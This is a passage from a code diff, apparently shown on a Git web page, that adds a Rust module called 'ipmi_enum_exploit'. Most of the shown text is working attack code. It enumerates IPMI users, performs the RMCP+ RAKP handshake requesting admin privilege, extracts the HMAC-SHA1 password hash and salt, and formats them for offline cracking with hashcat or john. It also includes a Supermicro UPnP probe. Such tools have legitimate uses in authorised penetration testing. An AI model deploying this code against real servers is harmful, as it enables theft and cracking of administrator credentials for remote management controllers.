// 0x00 = success (user exists and session challenge returned)
|
||||
// 0xCC = invalid user
|
||||
if completion_code == 0x00 {
|
||||
return Ok(true);
|
||||
}
|
||||
return Ok(false);
|
||||
}
|
||||
_ => continue,
|
||||
}
|
||||
}
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Retrieve RAKP Hash (HMAC-SHA1) for offline cracking
|
||||
/// Returns formatted hash compatible with hashcat/john
|
||||
async fn get_rakp_hash(socket: &UdpSocket, username: &str) -> Result<Option<String>> {
|
||||
// Step 1: Send RMCP+ Open Session Request
|
||||
let open_req = build_rmcpp_open_session_request();
|
||||
socket.send(&open_req).await.context("Failed to send Open Session Request")?;
|
||||
|
||||
let mut buffer = [0u8; 1024];
|
||||
let n = match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 36 => n,
|
||||
_ => return Ok(None),
|
||||
};
|
||||
|
||||
// Validate RMCP header
|
||||
if buffer[0] != RMCP_VERSION { return Ok(None); }
|
||||
|
||||
// Parse Open Session Response
|
||||
// Structure: RMCP(4) + Auth(1) + PayloadType(1) + SessionID(4) + Seq(4) + PayloadLen(2) + Payload
|
||||
if buffer[5] != (PAYLOAD_RMCPP_OPEN_SESSION_REQUEST + 1) { // Response is request + 1
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
// Check status code in payload (offset 16)
|
||||
if n < 28 || buffer[16] != 0x00 {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
// Extract Managed System Session ID (offset 20-23, little-endian)
|
||||
let managed_session_id = u32::from_le_bytes([
|
||||
buffer[20], buffer[21], buffer[22], buffer[23]
|
||||
]);
|
||||
|
||||
// Step 2: Send RAKP Message 1
|
||||
let console_session_id = 0xAABBCCDD_u32; // Our chosen session ID
|
||||
let console_random = [0x41u8; 16]; // Random nonce
|
||||
|
||||
let rakp1 = build_rakp_message_1(username, managed_session_id, console_session_id, &console_random);
|
||||
socket.send(&rakp1).await.context("Failed to send RAKP Message 1")?;
|
||||
|
||||
// Step 3: Receive RAKP Message 2
|
||||
let n = match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 60 => n,
|
||||
_ => return Ok(None),
|
||||
};
|
||||
|
||||
// Validate RAKP Message 2
|
||||
if buffer[0] != RMCP_VERSION { return Ok(None); }
|
||||
if buffer[5] != PAYLOAD_RAKP_MESSAGE_2 { return Ok(None); }
|
||||
|
||||
// RAKP2 Payload starts at offset 16
|
||||
// Structure: Tag(1) + Status(1) + Reserved(2) + Console Session ID(4) +
|
||||
// Managed Random(16) + Managed GUID(16) + HMAC(20 for SHA1)
|
||||
|
||||
let rakp2_offset = 16;
|
||||
if n < rakp2_offset + 60 { return Ok(None); }
|
||||
|
||||
let status = buffer[rakp2_offset + 1];
|
||||
if status != 0x00 {
|
||||
return Ok(None); // Authentication failed or user doesn't exist
|
||||
}
|
||||
|
||||
// Extract salt (Managed System Random Number) - 16 bytes at offset 24
|
||||
let salt_offset = rakp2_offset + 8;
|
||||
let salt = &buffer[salt_offset..salt_offset + 16];
|
||||
|
||||
// Extract HMAC - typically last 20 bytes (SHA1) at offset 40
|
||||
let hmac_offset = rakp2_offset + 40;
|
||||
let hmac = &buffer[hmac_offset..hmac_offset + 20];
|
||||
|
||||
// Format for hashcat (mode 7300) or john
|
||||
// Format: $rakp$<salt_hex>$<hmac_hex>$<username>$<session_id_hex>
|
||||
let salt_hex = hex::encode(salt);
|
||||
let hmac_hex = hex::encode(hmac);
|
||||
let session_hex = format!("{:08x}", console_session_id);
|
||||
|
||||
let hash = format!("$rakp${}${}${}${}", salt_hex, hmac_hex, username, session_hex);
|
||||
|
||||
Ok(Some(hash))
|
||||
}
|
||||
|
||||
fn build_rmcpp_open_session_request() -> Vec<u8> {
|
||||
let mut p = build_rmcp_header();
|
||||
p.push(AUTH_TYPE_RMCPP); // RMCP+ Auth Type
|
||||
p.push(PAYLOAD_RMCPP_OPEN_SESSION_REQUEST); // Payload Type
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0 for setup)
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence Number
|
||||
|
||||
// Payload Length (32 bytes) - little endian
|
||||
p.extend_from_slice(&[0x20, 0x00]);
|
||||
|
||||
// Open Session Request Payload
|
||||
p.push(0x00); // Message Tag
|
||||
p.push(0x00); // Requested Max Privilege Level (0 = highest available)
|
||||
p.extend_from_slice(&[0x00, 0x00]); // Reserved
|
||||
|
||||
// Console Session ID (our chosen ID)
|
||||
p.extend_from_slice(&[0xAA, 0xBB, 0xCC, 0xDD]);
|
||||
|
||||
// Authentication Algorithm: RAKP-HMAC-SHA1
|
||||
p.extend_from_slice(&[
|
||||
0x00, 0x00, 0x00, 0x08, // Auth payload type + length
|
||||
0x01, 0x00, 0x00, 0x00 // Algorithm: RAKP-HMAC-SHA1
|
||||
]);
|
||||
|
||||
// Integrity Algorithm: HMAC-SHA1-96
|
||||
p.extend_from_slice(&[
|
||||
0x01, 0x00, 0x00, 0x08, // Integrity payload type + length
|
||||
0x01, 0x00, 0x00, 0x00 // Algorithm: HMAC-SHA1-96
|
||||
]);
|
||||
|
||||
// Confidentiality Algorithm: None
|
||||
p.extend_from_slice(&[
|
||||
0x02, 0x00, 0x00, 0x08, // Confidentiality payload type + length
|
||||
0x00, 0x00, 0x00, 0x00 // Algorithm: None
|
||||
]);
|
||||
|
||||
p
|
||||
}
|
||||
|
||||
fn build_rakp_message_1(
|
||||
username: &str,
|
||||
managed_session_id: u32,
|
||||
_console_session_id: u32,
|
||||
console_random: &[u8; 16]
|
||||
) -> Vec<u8> {
|
||||
let mut p = build_rmcp_header();
|
||||
p.push(AUTH_TYPE_RMCPP);
|
||||
p.push(PAYLOAD_RAKP_MESSAGE_1);
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0)
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence
|
||||
|
||||
// Calculate Payload Length
|
||||
let payload_len = 1 + 3 + 4 + 16 + 1 + 1 + username.len();
|
||||
p.extend_from_slice(&(payload_len as u16).to_le_bytes());
|
||||
|
||||
// RAKP Message 1 Payload
|
||||
p.push(0x00); // Message Tag
|
||||
p.extend_from_slice(&[0x00, 0x00, 0x00]); // Reserved
|
||||
|
||||
// Managed System Session ID (from Open Session Response)
|
||||
p.extend_from_slice(&managed_session_id.to_le_bytes());
|
||||
|
||||
// Console Random Number (16 bytes)
|
||||
p.extend_from_slice(console_random);
|
||||
|
||||
// Requested Max Privilege + Username present flag
|
||||
p.push(0x14); // 0x10 (username present) | 0x04 (Admin privilege)
|
||||
|
||||
// Username Length and Username
|
||||
p.push(username.len() as u8);
|
||||
p.extend_from_slice(username.as_bytes());
|
||||
|
||||
p
|
||||
}
|
||||
|
||||
async fn scan_supermicro_upnp(ip: IpAddr, port: u16) -> bool {
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
|
||||
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0").await {
|
||||
if socket.connect(addr).await.is_err() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// M-SEARCH SSDP packet
|
||||
let msg = "M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: 239.255.255.250:1900\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: 1\r\n\
|
||||
ST: ssdp:all\r\n\r\n";
|
||||
|
||||
if socket.send(msg.as_bytes()).await.is_ok() {
|
||||
let mut buf = [0u8; 1024];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(500),
|
||||
socket.recv(&mut buf)
|
||||
).await {
|
||||
Ok(Ok(_)) => return true,
|
||||
_ => return false,
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod ipmi_enum_exploit;
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user